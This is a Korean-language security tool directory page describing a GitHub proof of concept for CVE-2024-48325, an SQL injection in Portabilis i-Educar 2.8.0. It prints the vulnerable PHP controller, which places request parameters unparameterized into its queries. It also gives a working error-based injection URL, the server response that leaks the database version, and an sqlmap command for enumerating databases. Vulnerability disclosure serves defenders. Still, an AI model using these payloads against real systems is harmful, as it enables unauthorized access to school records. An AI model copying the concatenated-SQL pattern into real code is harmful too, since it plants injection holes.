Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/osvaldotenorio/cve-2024-48325
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubosvaldotenorio/cve-2024-48325

cve-2024-48325

Portabilis i-Educar 2.8.0의 SQL 인젝션 개념 증명(PoC)으로, getDocuments 엔드포인트를 통한 인증 없는 데이터베이스 접근을 시연하며 SQLMap을 사용한 자동화된 익스플로잇을 포함합니다.

저장소 보기
181년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-48325

설명: 인증된 사용자는 InstituicaoDocumentacaoController 클래스의 getDocuments 함수에 존재하는 SQL 인젝션 취약점을 악용할 수 있습니다. /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id의 instituicao_id 매개변수가 제대로 검증되지 않아, 인증된 원격 공격자가 악의적인 SQL 명령을 주입할 수 있습니다.

버전: Portabilis i-Educar 2.8.0에서 발견되었습니다.

개념 증명

취약점 세부 정보

이 문제는 InstituicaoDocumentacaoController 클래스의 getDocuments 함수에 존재하며, 다음 엔드포인트를 통해 트리거될 수 있습니다:

class InstituicaoDocumentacaoController extends ApiCoreController
{
    protected function insertDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $var2 = $this->getRequest()->titulo_documento;
        $var3 = $this->getRequest()->url_documento;
        $var4 = $this->getRequest()->ref_usuario_cad;
        $var5 = $this->getRequest()->ref_cod_escola;
        $sql = "INSERT INTO pmieducar.instituicao_documentacao (instituicao_id, titulo_documento, url_documento, ref_usuario_cad, ref_cod_escola) VALUES ($var1, '$var2', '$var3', $var4, $var5)";
        $this->fetchPreparedQuery($sql);
        $sql = "SELECT MAX(id) FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1";
        $novoId = $this->fetchPreparedQuery($sql);
        return ['id' => $novoId[0][0]];
    }
    
    protected function getDocuments()
    {
        $var1 = $this->getRequest()->instituicao_id;
        $sql = "SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = $var1 ORDER BY id DESC";
        $instituicao = $this->fetchPreparedQuery($sql);
        $attrs = ['id', 'titulo_documento', 'url_documento', 'ref_usuario_cad', 'ref_cod_escola'];
        $instituicao = Portabilis_Array_Utils::filterSet($instituicao, $attrs);
        return ['documentos' => $instituicao];
    }
}

취약점 발생 방식

instituicao_id 매개변수는 적절한 검증이나 매개변수화 없이 SQL 쿼리에 직접 사용됩니다. 이로 인해 공격자는 악의적인 HTTP 요청을 보내 SQL 명령을 주입할 수 있으며, 데이터베이스에 대한 무단 액세스를 얻거나 데이터를 조작할 수 있습니다.

  • 취약점을 유발하는 예제 엔드포인트: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14
  • 예제 익스플로잇: /module/Api/InstituicaoDocumentacao?oper=get&resource=getDocuments&instituicao_id=14+AND+(CAST(VERSION()+AS+INTEGER))%3d1

서버 응답:

{
    "oper": "get",
    "resource": "getDocuments",
    "msgs": [
        {
            "msg": "Exception: Error preparing query (SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC) in the database: Exception: SQLSTATE[22P02]: Invalid text representation: 7 ERROR: invalid input syntax for type integer: \"PostgreSQL 16.4 on x86_64-pc-linux-musl, compiled by gcc (Alpine 13.2.1_git20240309) 13.2.1 20240309, 64-bit\" (Connection: pgsql, SQL: SELECT * FROM pmieducar.instituicao_documentacao WHERE instituicao_id = 1 AND (CAST(VERSION() AS INTEGER))=1 ORDER BY id DESC)",
            "type": "error"
        }
    ],
    "any_error_msg": true
}

자동화된 악용

이 취약점은 SQLMap과 같은 자동화 도구로도 악용될 수 있으며, 데이터베이스 열거가 가능합니다: sqlmap -r ../instituicaoDocumentacao.r --dbms postgres --dbs -p instituicao_id --risk 3 --level 5

SQLMap

도구 다운로드